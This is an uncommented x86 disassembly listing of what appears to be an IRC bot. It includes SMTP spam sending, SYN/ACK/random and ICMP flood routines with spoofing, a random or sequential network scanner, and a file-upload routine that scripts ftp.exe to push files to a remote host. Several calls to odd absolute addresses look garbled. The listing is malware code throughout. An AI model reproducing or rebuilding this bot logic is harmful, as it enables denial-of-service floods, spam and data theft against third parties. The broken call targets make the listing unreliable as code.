pop ecx
jnz loc_406C36
lea eax, [ebp+var_46F0]
push edi
push eax
call sub_41C890
push [ebp+arg_18]
call sub_41C159
push [ebp+arg_0]
mov [ebp+arg_18], eax
lea eax, [ebp+var_438C]
push eax
call sub_41C890
push [ebp+arg_10]
lea eax, [ebp+var_458C]
push eax
call sub_41C890
push offset asc_42CDC0 ; " "
push offset dword_42B934
push [ebp+esi+var_7C]
call sub_41843B
push eax
lea eax, [ebp+var_408C]
push eax
call sub_41C890
add esp, 30h
lea eax, [ebp+var_528C]
push eax
push 101h
call dword_4CB944
lea eax, [ebp+var_46F0]
push eax
call dword_4CBA58
push 6
push 1
push 2
mov edi, eax
call dword_4CBA54
push [ebp+arg_18]
mov esi, eax
mov [ebp+var_31C], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_318], eax
call dword_4CB9D4
mov [ebp+var_31A], ax
lea eax, [ebp+var_408C]
push eax
lea eax, [ebp+var_438C]
push eax
lea eax, [ebp+var_408C]
push eax
lea eax, [ebp+var_458C]
push eax
lea eax, [ebp+var_438C]
push eax
lea eax, [ebp+var_568C]
push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
push eax
call sub_41C266
add esp, 1Ch
lea eax, [ebp+var_31C]
push 10h
push eax
push esi
call dword_4CB97C
mov edi, 100h
push ebx
lea eax, [ebp+var_448C]
push edi
push eax
push esi
call dword_4CB9EC
lea eax, [ebp+var_448C]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_568C]
push eax
push esi
call dword_4CBA24
push ebx
lea eax, [ebp+var_448C]
push edi
push eax
push esi
call dword_4CB9EC
push esi
call dword_4CBA6C
call dword_4CB92C
lea eax, [ebp+var_458C]
push eax
push offset unk_42AEFC
loc_406BEF: ; CODE XREF: sub_401ACD+2E3Fj
; sub_401ACD+4561j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
loc_406BFB: ; CODE XREF: sub_401ACD+2431j
add esp, 0Ch
loc_406BFE: ; CODE XREF: sub_401ACD+4485j
; sub_401ACD+6575j ...
cmp [ebp+var_8], ebx
jnz short loc_406C1F
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_406C1F: ; CODE XREF: sub_401ACD+296Fj
; sub_401ACD+29C2j ...
mov esi, [ebp+arg_24]
loc_406C22: ; CODE XREF: sub_401ACD+6814j
; sub_401ACD+773Fj ...
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
pop ecx
mov eax, esi
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_406C36: ; CODE XREF: sub_401ACD+4FCCj
push [ebp+arg_8]
push offset aHttpcon ; "httpcon"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_406C60
push [ebp+arg_8]
push offset aHcon ; "hcon"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_407208
loc_406C60: ; CODE XREF: sub_401ACD+517Aj
push [ebp+esi+var_7C]
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
call sub_41C159
pop ecx
push eax
push edi
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_410ADC
jmp loc_404085
; ---------------------------------------------------------------------------
loc_406C8E: ; CODE XREF: sub_401ACD+4F9Ej
; sub_401ACD+4FB5j
mov esi, 80h
push edi
lea eax, [ebp+var_1358]
push esi
push eax
call sub_41C360
lea eax, [ebp+var_1358]
push eax
push offset aSyn ; "syn"
call sub_41CA50
add esp, 14h
test eax, eax
jz short loc_406CF1
lea eax, [ebp+var_1358]
push eax
push offset aAck ; "ack"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_406CF1
lea eax, [ebp+var_1358]
push eax
push offset aRandom_0 ; "random"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_406CF1
push offset unk_42AEB4
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_406CF1: ; CODE XREF: sub_401ACD+51EAj
; sub_401ACD+5201j ...
push [ebp+arg_10]
call sub_41C159
cmp eax, ebx
pop ecx
mov [ebp+var_1250], eax
jle loc_406E1D
push edi
lea eax, [ebp+var_1358]
push esi
push eax
call sub_41C360
add esp, 0Ch
lea eax, [ebp+var_13D8]
push [ebp+arg_18]
push esi
push eax
call sub_41C360
push [ebp+arg_0]
call sub_41C159
mov [ebp+var_1254], eax
add esp, 10h
xor eax, eax
cmp [ebp+var_8EE], bl
push [ebp+var_88]
setnz al
mov [ebp+var_124C], eax
mov eax, [ebp+arg_4]
mov [ebp+var_13DC], eax
lea eax, [ebp+var_12D8]
push esi
push eax
call sub_41C360
mov eax, [ebp+var_4]
add esp, 0Ch
cmp [ebp+var_124C], ebx
mov [ebp+var_1248], eax
mov eax, [ebp+var_8]
mov [ebp+var_1244], eax
mov eax, offset aSpoofed ; "Spoofed"
jnz short loc_406D8E
mov eax, offset aNormal ; "Normal"
loc_406D8E: ; CODE XREF: sub_401ACD+52BAj
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
push edi
push eax
push offset unk_42AE70
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C360
push ebx
lea eax, [ebp+var_2C4]
push 14h
push eax
call sub_40B3BA
add esp, 2Ch
mov [ebp+var_1258], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_13DC]
push ebx
push eax
push offset byte_4149C1
push ebx
push ebx
nop
call near ptr 26C051Eh
mov ecx, [ebp+var_1258]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_406E0C
loc_406DF6: ; CODE XREF: sub_401ACD+533Dj
cmp [ebp+var_1240], ebx
jnz loc_4081AD
push 32h
nop
call near ptr 26C04BFh
jmp short loc_406DF6
; ---------------------------------------------------------------------------
loc_406E0C: ; CODE XREF: sub_401ACD+5327j
nop
call near ptr 26C0CC8h
push eax
push offset unk_42AE38
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_406E1D: ; CODE XREF: sub_401ACD+5235j
push offset unk_42AE00
loc_406E22: ; CODE XREF: sub_401ACD+1FBEj
; sub_401ACD+1FD4j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
pop ecx
pop ecx
jmp loc_4081AD
; ---------------------------------------------------------------------------
loc_406E35: ; CODE XREF: sub_401ACD+4F11j
; sub_401ACD+4F28j ...
cmp dword_4CBAC4, ebx
jnz loc_406F44
mov eax, [ebp+var_8]
push 7Fh
mov [ebp+var_FF8], eax
mov eax, [ebp+var_4]
mov [ebp+var_FFC], eax
lea eax, [ebp+var_1090]
push edi
push eax
call sub_41BFD0
push [ebp+arg_18]
call sub_41C159
push [ebp+arg_0]
mov [ebp+var_1010], eax
call sub_41C159
push [ebp+arg_10]
mov [ebp+var_100C], eax
call sub_41C159
push 7Fh
mov [ebp+var_1008], eax
push [ebp+var_88]
lea eax, [ebp+var_1110]
push eax
call sub_41BFD0
mov eax, [ebp+arg_4]
add esp, 24h
mov [ebp+var_1114], eax
lea eax, [ebp+var_1090]
push [ebp+var_1008]
push [ebp+var_100C]
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_1010]
push offset unk_42ADB8
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 16h
push eax
call sub_40B3BA
add esp, 24h
mov [ebp+var_1000], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1114]
push ebx
push eax
push offset dword_413E10
push ebx
push ebx
nop
call near ptr 26C051Eh
mov ecx, [ebp+var_1000]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_406F33
loc_406F1D: ; CODE XREF: sub_401ACD+5464j
cmp [ebp+var_FF4], ebx
jnz loc_4081AD
push 32h
nop
call near ptr 26C04BFh
jmp short loc_406F1D
; ---------------------------------------------------------------------------
loc_406F33: ; CODE XREF: sub_401ACD+544Ej
nop
call near ptr 26C0CC8h
push eax
push offset unk_42AD80
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_406F44: ; CODE XREF: sub_401ACD+536Ej
push 1FFh
lea eax, [ebp+var_2C4]
push offset aIcmp_dllNotAva ; "ICMP.dll not available"
push eax
call sub_41BFD0
jmp loc_4081AA
; ---------------------------------------------------------------------------
loc_406F5F: ; CODE XREF: sub_401ACD+4EE3j
; sub_401ACD+4EFAj
push [ebp+arg_18]
lea eax, [ebp+var_2C4]
push edi
push [ebp+arg_0]
push offset unk_42AD2C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
push [ebp+arg_0]
call sub_41B9C0
push [ebp+arg_18]
mov edi, eax
call sub_41B9C0
push [ebp+arg_20]
add edi, eax
call sub_41B9C0
push [ebp+arg_8]
add edi, eax
call sub_41B9C0
add eax, [ebp+var_C]
push [ebp+arg_10]
lea eax, [eax+edi+7]
push eax
call sub_41C2E0
add esp, 40h
mov [ebp+arg_C], eax
push [ebp+arg_0]
call sub_41C159
mov edi, [ebp+arg_20]
cmp eax, ebx
pop ecx
mov [ebp+arg_14], eax
mov [ebp+arg_1C], ebx
jle short loc_407059
loc_406FE2: ; CODE XREF: sub_401ACD+5539j
push [ebp+arg_C]
push [ebp+arg_18]
push edi
call sub_418AF1
add esp, 0Ch
cmp eax, 1
mov [ebp+arg_20], eax
jz short loc_40700A
cmp eax, ebx
jnz short loc_407029
inc [ebp+arg_1C]
mov eax, [ebp+arg_1C]
cmp eax, [ebp+arg_14]
jl short loc_406FE2
jmp short loc_407062
; ---------------------------------------------------------------------------
loc_40700A: ; CODE XREF: sub_401ACD+552Aj
push ebx
push [ebp+var_4]
push offset unk_42ACF4
loc_407013: ; CODE XREF: sub_401ACD+559Ej
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
jmp loc_407208
; ---------------------------------------------------------------------------
loc_407029: ; CODE XREF: sub_401ACD+552Ej
push [ebp+arg_20]
lea eax, [ebp+var_2C4]
push offset unk_42ACC0
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 20h
loc_407059: ; CODE XREF: sub_401ACD+5513j
cmp [ebp+arg_20], ebx
jnz loc_407208
loc_407062: ; CODE XREF: sub_401ACD+553Bj
push ebx
push [ebp+var_4]
push offset unk_42AC8C
jmp short loc_407013
; ---------------------------------------------------------------------------
loc_40706D: ; CODE XREF: sub_401ACD+4E9Ej
; sub_401ACD+4EB5j ...
mov eax, [ebp+var_8]
push 7Fh
mov [ebp+var_C68], eax
mov eax, [ebp+var_4]
loc_40707B: ; DATA XREF: ___:004330E0o
; ___:004330F4o ...
mov [ebp+var_C6C], eax
lea eax, [ebp+var_D00]
push edi
push eax
call sub_41BFD0
push [ebp+arg_18]
call sub_41C159
push [ebp+arg_0]
mov [ebp+var_C80], eax
call sub_41C159
push [ebp+arg_10]
mov [ebp+var_C7C], eax
call sub_41C159
mov esi, [ebp+esi+var_7C]
add esp, 18h
cmp esi, ebx
mov [ebp+var_C78], eax
jz short loc_4070D2
push esi
call sub_41C159
pop ecx
mov [ebp+var_C74], eax
jmp short loc_4070D8
; ---------------------------------------------------------------------------
loc_4070D2: ; CODE XREF: sub_401ACD+55F4j
mov [ebp+var_C74], ebx
loc_4070D8: ; CODE XREF: sub_401ACD+5603j
push 7Fh
lea eax, [ebp+var_D80]
push [ebp+var_88]
push eax
call sub_41BFD0
add esp, 0Ch
mov esi, [ebp+arg_4]
lea eax, [ebp+var_D00]
mov [ebp+var_D84], esi
push [ebp+var_C78]
push [ebp+var_C7C]
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_C80]
push offset unk_42AC44
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 17h
push eax
call sub_40B3BA
add esp, 24h
mov [ebp+var_C70], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_D84]
push ebx
push eax
push offset dword_413F9C
push ebx
push ebx
call near ptr 26C051Eh
nop
mov ecx, [ebp+var_C70]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40717B
loc_407169: ; CODE XREF: sub_401ACD+56ACj
cmp [ebp+var_C64], ebx
jnz short loc_407196
push 32h
call near ptr 26C04BFh
nop
jmp short loc_407169
; ---------------------------------------------------------------------------
loc_40717B: ; CODE XREF: sub_401ACD+569Aj
nop
call near ptr 26C0CC8h
push eax
push offset unk_42AC0C
loc_407187: ; CODE XREF: sub_401ACD+4D09j
; sub_401ACD+61E0j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
loc_407196: ; CODE XREF: sub_401ACD+4CEDj
; sub_401ACD+56A2j ...
cmp [ebp+var_8], ebx
jnz loc_4082DE
push ebx
push [ebp+var_4]
loc_4071A3: ; CODE XREF: sub_401ACD+2284j
lea eax, [ebp+var_2C4]
push eax
push [ebp+var_88]
push esi
jmp loc_4081CA
; ---------------------------------------------------------------------------
loc_4071B6: ; CODE XREF: sub_401ACD+4E70j
; sub_401ACD+4E87j
push 0Bh
call sub_40B602
push [ebp+arg_18]
mov [ebp+arg_1C], eax
call sub_41C159
add eax, [ebp+arg_1C]
pop ecx
pop ecx
cmp eax, 320h
jle loc_407381
push [ebp+arg_1C]
lea eax, [ebp+var_2C4]
push offset unk_42ABD0
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 20h
loc_407208: ; CODE XREF: sub_401ACD+518Dj
; sub_401ACD+5557j ...
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz loc_401F75
push [ebp+arg_8]
push offset aUpload ; "upload"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_409644
push 4
push esi
call sub_416CAF
pop ecx
test eax, eax
pop ecx
jnz short loc_407253
push esi
push offset unk_42ABA8
loc_40723F: ; CODE XREF: sub_401ACD+711Ej
; sub_401ACD+796Bj
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
jmp loc_403F9D
; ---------------------------------------------------------------------------
loc_407253: ; CODE XREF: sub_401ACD+576Aj
nop
call near ptr 26D0CBDh
push eax
call sub_41C2B8
pop ecx
call sub_41C2C2
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_41C2C2
push 63h
cdq
pop ecx
idiv ecx
push edx
call sub_41C2C2
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp+var_50FC]
push edx
push eax
lea eax, [ebp+var_2E5C]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax
call sub_41C266
lea eax, [ebp+var_2E5C]
push offset aAb ; "ab"
push eax
call sub_41BEA2
add esp, 20h
cmp eax, ebx
mov [ebp+arg_24], eax
jz loc_401F75
push esi
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
push edi
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push eax
call sub_41C7E6
push [ebp+arg_24]
call sub_41BA3B
add esp, 20h
lea eax, [ebp+var_2E5C]
push eax
lea eax, [ebp+var_4CF8]
push offset aSS_1 ; "-s:%s"
push eax
call sub_41C266
add esp, 0Ch
lea eax, [ebp+var_4CF8]
push ebx
push ebx
push eax
push offset aFtp_exe ; "ftp.exe"
push offset aOpen ; "open"
push ebx
call dword_4CB940
test eax, eax
push edi
push esi
jz short loc_407320
push offset unk_42AB38
jmp short loc_407325
; ---------------------------------------------------------------------------
loc_407320: ; CODE XREF: sub_401ACD+584Aj
push offset unk_42AB08
loc_407325: ; CODE XREF: sub_401ACD+5851j
call sub_41C266
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_40734E
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_40734E: ; CODE XREF: sub_401ACD+5863j
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
loc_40735A: ; CODE XREF: sub_401ACD+58B2j
lea eax, [ebp+var_2E5C]
push 4
push eax
call sub_416CAF
add esp, 0Ch
test eax, eax
jz loc_401F75
lea eax, [ebp+var_2E5C]
push eax
call sub_41C7BC
jmp short loc_40735A
; ---------------------------------------------------------------------------
loc_407381: ; CODE XREF: sub_401ACD+5705j
push edi
call sub_41C159
push [ebp+arg_18]
mov [ebp+var_370], eax
call sub_41C159
push [ebp+arg_0]
mov [ebp+var_358], eax
call sub_41C159
add esp, 0Ch
cmp eax, 5
mov [ebp+var_36C], eax
jnb short loc_4073BA
push 5
pop eax
mov [ebp+var_36C], eax
loc_4073BA: ; CODE XREF: sub_401ACD+58E2j
push 3Ch
pop ecx
cmp eax, ecx
jbe short loc_4073C7
mov [ebp+var_36C], ecx
loc_4073C7: ; CODE XREF: sub_401ACD+58F2j
push [ebp+arg_10]
call sub_41C159
cmp eax, 320h
pop ecx
mov [ebp+var_368], eax
jbe short loc_4073E7
mov [ebp+var_368], 320h
loc_4073E7: ; CODE XREF: sub_401ACD+590Ej
or [ebp+var_354], 0FFFFFFFFh
cmp dword_4317F8, ebx
mov [ebp+arg_1C], ebx
jz short loc_40743D
mov [ebp+arg_24], offset dword_4317F8
loc_407400: ; CODE XREF: sub_401ACD+5952j
mov eax, [ebp+arg_24]
push edi
add eax, 0FFFFFFD8h
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_407423
add [ebp+arg_24], 40h
inc [ebp+arg_1C]
mov eax, [ebp+arg_24]
cmp [eax], ebx
jnz short loc_407400
jmp short loc_40743D
; ---------------------------------------------------------------------------
loc_407423: ; CODE XREF: sub_401ACD+5944j
mov eax, [ebp+arg_1C]
mov ecx, eax
mov [ebp+var_354], eax
shl ecx, 6
mov ecx, dword_4317F8[ecx]
mov [ebp+var_370], ecx
loc_40743D: ; CODE XREF: sub_401ACD+592Aj
; sub_401ACD+5954j
cmp [ebp+var_370], ebx
jnz short loc_40744F
push offset unk_42AAD4
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_40744F: ; CODE XREF: sub_401ACD+5976j
mov edi, [ebp+esi+var_7C]
cmp edi, ebx
mov [ebp+arg_0], edi
jz short loc_40748A
cmp byte ptr [edi], 23h
jz short loc_40748A
push edi
lea eax, [ebp+var_484]
push 10h
push eax
call sub_41C360
push 78h
push edi
call sub_41C990
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp+var_344], eax
jmp loc_407564
; ---------------------------------------------------------------------------
loc_40748A: ; CODE XREF: sub_401ACD+598Bj
; sub_401ACD+5990j
cmp [ebp+var_8FF], bl
jnz short loc_4074AC
cmp [ebp+var_8FE], bl
jnz short loc_4074AC
cmp [ebp+var_8EE], bl
jnz short loc_4074AC
push offset unk_42AAA0
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_4074AC: ; CODE XREF: sub_401ACD+59C3j
; sub_401ACD+59CBj ...
push 10h
lea eax, [ebp+var_2D0]
pop edi
push eax
lea eax, [ebp+var_2F8]
push eax
mov [ebp+var_2D0], edi
push [ebp+arg_4]
call dword_4CB978
mov al, [ebp+var_8FF]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_2F4], eax
push [ebp+var_2F4]
call dword_4CBA60
push eax
lea eax, [ebp+var_484]
push eax
call sub_41BFD0
add esp, 0Ch
cmp [ebp+var_8EE], bl
jz short loc_40755E
xor eax, eax
cmp [ebp+var_8FF], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_484]
push eax
call sub_41C820
pop ecx
cmp edi, ebx
pop ecx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_407552
loc_407530: ; CODE XREF: sub_401ACD+5A83j
cmp eax, ebx
jz short loc_407552
mov byte ptr [eax], 78h
lea eax, [ebp+var_484]
push 30h
push eax
call sub_41C820
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_407530
loc_407552: ; CODE XREF: sub_401ACD+5A61j
; sub_401ACD+5A65j
mov [ebp+var_344], 1
jmp short loc_407564
; ---------------------------------------------------------------------------
loc_40755E: ; CODE XREF: sub_401ACD+5A3Bj
mov [ebp+var_344], ebx
loc_407564: ; CODE XREF: sub_401ACD+59B8j
; sub_401ACD+5A8Fj
mov eax, [ebp+arg_4]
push [ebp+var_88]
mov [ebp+var_374], eax
mov eax, [ebp+var_4]
mov [ebp+var_34C], eax
mov eax, [ebp+var_8]
mov [ebp+var_348], eax
mov edi, 80h
lea eax, [ebp+var_474]
push edi
push eax
call sub_41C360
mov esi, [ebp+esi+var_78]
add esp, 0Ch
cmp esi, ebx
jz short loc_4075B5
loc_4075A2: ; CODE XREF: sub_401ACD+5B0Bj
push esi
loc_4075A3: ; CODE XREF: sub_401ACD+5AF5j
lea eax, [ebp+var_3F4]
push edi
push eax
call sub_41C360
add esp, 0Ch
jmp short loc_4075E0
; ---------------------------------------------------------------------------
loc_4075B5: ; CODE XREF: sub_401ACD+5AD3j
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_4075C4
cmp byte ptr [eax], 23h
jnz short loc_4075C4
push eax
jmp short loc_4075A3
; ---------------------------------------------------------------------------
loc_4075C4: ; CODE XREF: sub_401ACD+5AEDj
; sub_401ACD+5AF2j
mov esi, offset aF ; "#f"
push offset byte_43DB88
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4075A2
mov [ebp+var_3F4], bl
loc_4075E0: ; CODE XREF: sub_401ACD+5AE6j
cmp [ebp+var_344], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_4075F2
mov eax, offset aSequential ; "Sequential"
loc_4075F2: ; CODE XREF: sub_401ACD+5B1Ej
push [ebp+var_358]
lea ecx, [ebp+var_484]
push [ebp+var_368]
push [ebp+var_36C]
push [ebp+var_370]
push ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42AA38
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B3BA
add esp, 2Ch
mov [ebp+var_364], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_484]
push ebx
push eax
push offset loc_40C600
push ebx
push ebx
call near ptr 26C051Eh
nop
mov ecx, [ebp+var_364]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407680
loc_40766A: ; CODE XREF: sub_401ACD+5BB1j
cmp [ebp+var_340], ebx
jnz loc_4081AD
push 32h
call near ptr 26C04BFh
nop
jmp short loc_40766A
; ---------------------------------------------------------------------------
loc_407680: ; CODE XREF: sub_401ACD+5B9Bj
nop
call near ptr 26C0CC8h
push eax
push offset unk_42AA00
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_407691: ; CODE XREF: sub_401ACD+4E42j
; sub_401ACD+4E59j
push edi
call sub_40A8F0
push [ebp+arg_18]
mov [ebp+var_4E0], eax
call sub_41C159
push [ebp+arg_0]
mov [ebp+var_4F0], eax
call sub_41C159
push [ebp+arg_10]
mov [ebp+var_4EC], eax
call sub_41C159
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_4E8], eax
lea eax, [ebp+var_570]
mov [ebp+var_574], esi
push eax
call sub_41BFD0
add esp, 1Ch
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_4D8], edi
push [ebp+var_4EC]
mov [ebp+var_4D4], eax
push [ebp+var_4F0]
push [ebp+var_4E8]
push [ebp+var_4E0]
call dword_4CBA60
push eax
lea eax, [ebp+var_2C4]
push offset unk_42A9B0
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B3BA
add esp, 24h
mov [ebp+var_4E4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_574]
push ebx
push eax
push offset byte_40CA1D
push ebx
push ebx
nop
call near ptr 26C051Eh
mov ecx, [ebp+var_4E4]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407786
loc_407770: ; CODE XREF: sub_401ACD+5CB7j
cmp [ebp+var_4D0], ebx
jnz loc_403D46
push 32h
call near ptr 26C04BFh
nop
jmp short loc_407770
; ---------------------------------------------------------------------------
loc_407786: ; CODE XREF: sub_401ACD+5CA1j
nop
call near ptr 26C0CC8h
push eax
push offset unk_42A974
jmp loc_403D37
; ---------------------------------------------------------------------------
loc_407797: ; CODE XREF: sub_401ACD+4E05j
; sub_401ACD+4E1Cj
push edi
call sub_41C159
imul eax, 234h
pop ecx
cmp byte_43E928[eax], bl
jz loc_409644
cmp [ebp+var_C], ebx
jz loc_409644
push [ebp+arg_18]
call sub_41B9C0
push edi
mov esi, eax
call sub_41B9C0
push [ebp+arg_8]
add esi, eax
call sub_41B9C0
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_41C2E0
add esp, 14h
mov esi, eax
lea eax, [ebp+var_2C4]
push esi
push offset dword_42A968
push eax
call sub_41C266
add esp, 0Ch
cmp esi, ebx
jz loc_409644
push edi
call sub_41C159
test eax, eax
pop ecx
jle loc_409644
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_409644
push ebx
lea eax, [ebp+var_2C4]
push ebx
push eax
push [ebp+arg_18]
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E91C[eax]
call sub_409869
push edi
call sub_41C159
imul eax, 234h
add esp, 18h
cmp byte ptr dword_43E710[eax], 73h
jnz loc_409644
push esi
push edi
call sub_41C159
imul eax, 234h
pop ecx
add eax, offset byte_43E928
push eax
push [ebp+arg_18]
push offset aSSS_2 ; "[%s] * %s %s"
jmp loc_407957
; ---------------------------------------------------------------------------
loc_407887: ; CODE XREF: sub_401ACD+4DD7j
; sub_401ACD+4DEEj
push edi
call sub_41C159
imul eax, 234h
pop ecx
cmp byte_43E928[eax], bl
jz loc_409644
cmp [ebp+var_C], ebx
jz loc_409644
push [ebp+arg_18]
call sub_41B9C0
push edi
mov esi, eax
call sub_41B9C0
push [ebp+arg_8]
add esi, eax
call sub_41B9C0
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_41C2E0
mov esi, eax
add esp, 14h
cmp esi, ebx
jz loc_409644
push edi
call sub_41C159
test eax, eax
pop ecx
jle loc_409644
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_409644
push ebx
push ebx
push esi
push [ebp+arg_18]
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E91C[eax]
call sub_409869
push edi
call sub_41C159
imul eax, 234h
add esp, 18h
cmp byte ptr dword_43E710[eax], 73h
jnz loc_409644
push esi
push edi
call sub_41C159
imul eax, 234h
pop ecx
add eax, offset byte_43E928
push eax
push [ebp+arg_18]
push offset aSSS_1 ; "[%s] <%s> %s"
loc_407957: ; CODE XREF: sub_401ACD+5DB5j
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 28h
jmp loc_409644
; ---------------------------------------------------------------------------
loc_407984: ; CODE XREF: sub_401ACD+4DA9j
; sub_401ACD+4DC0j
push edi
call dword_4CBA14
push [ebp+arg_18]
mov [ebp+var_680], eax
call sub_41C159
push [ebp+arg_0]
mov [ebp+var_690], eax
call sub_41C159
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_688], eax
lea eax, [ebp+var_710]
mov [ebp+var_714], esi
push eax
call sub_41BFD0
add esp, 14h
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_678], edi
push [ebp+var_688]
mov [ebp+var_674], eax
push [ebp+var_690]
push [ebp+var_680]
call dword_4CBA60
push eax
lea eax, [ebp+var_2C4]
push offset unk_42A910
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_684], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_714]
push ebx
push eax
push offset dword_40C92C
push ebx
push ebx
call near ptr 26C051Eh
nop
mov ecx, [ebp+var_684]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407A66
loc_407A50: ; CODE XREF: sub_401ACD+5F97j
cmp [ebp+var_670], ebx
jnz loc_403D46
push 32h
call near ptr 26C04BFh
nop
jmp short loc_407A50
; ---------------------------------------------------------------------------
loc_407A66: ; CODE XREF: sub_401ACD+5F81j
nop
call near ptr 26C0CC8h
push eax
push offset unk_42AA00
jmp loc_403D37
; ---------------------------------------------------------------------------
loc_407A77: ; CODE XREF: sub_401ACD+4D7Bj
; sub_401ACD+4D92j
push edi
call sub_41C159
push 7Fh
mov [ebp+var_1130], eax
push [ebp+arg_18]
lea eax, [ebp+var_1234]
push eax
call sub_41BFD0
push [ebp+arg_0]
call sub_41C159
mov esi, [ebp+arg_4]
add esp, 14h
mov [ebp+var_1134], eax
lea eax, [ebp+var_11B4]
push [ebp+var_88]
mov [ebp+var_123C], esi
push 80h
push eax
call sub_41C360
mov eax, [ebp+var_8]
add esp, 0Ch
mov edi, [ebp+var_4]
mov [ebp+var_1120], eax
push [ebp+var_1134]
lea eax, [ebp+var_1234]
mov [ebp+var_1124], edi
push eax
push [ebp+var_1130]
push esi
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42A8D4
push eax
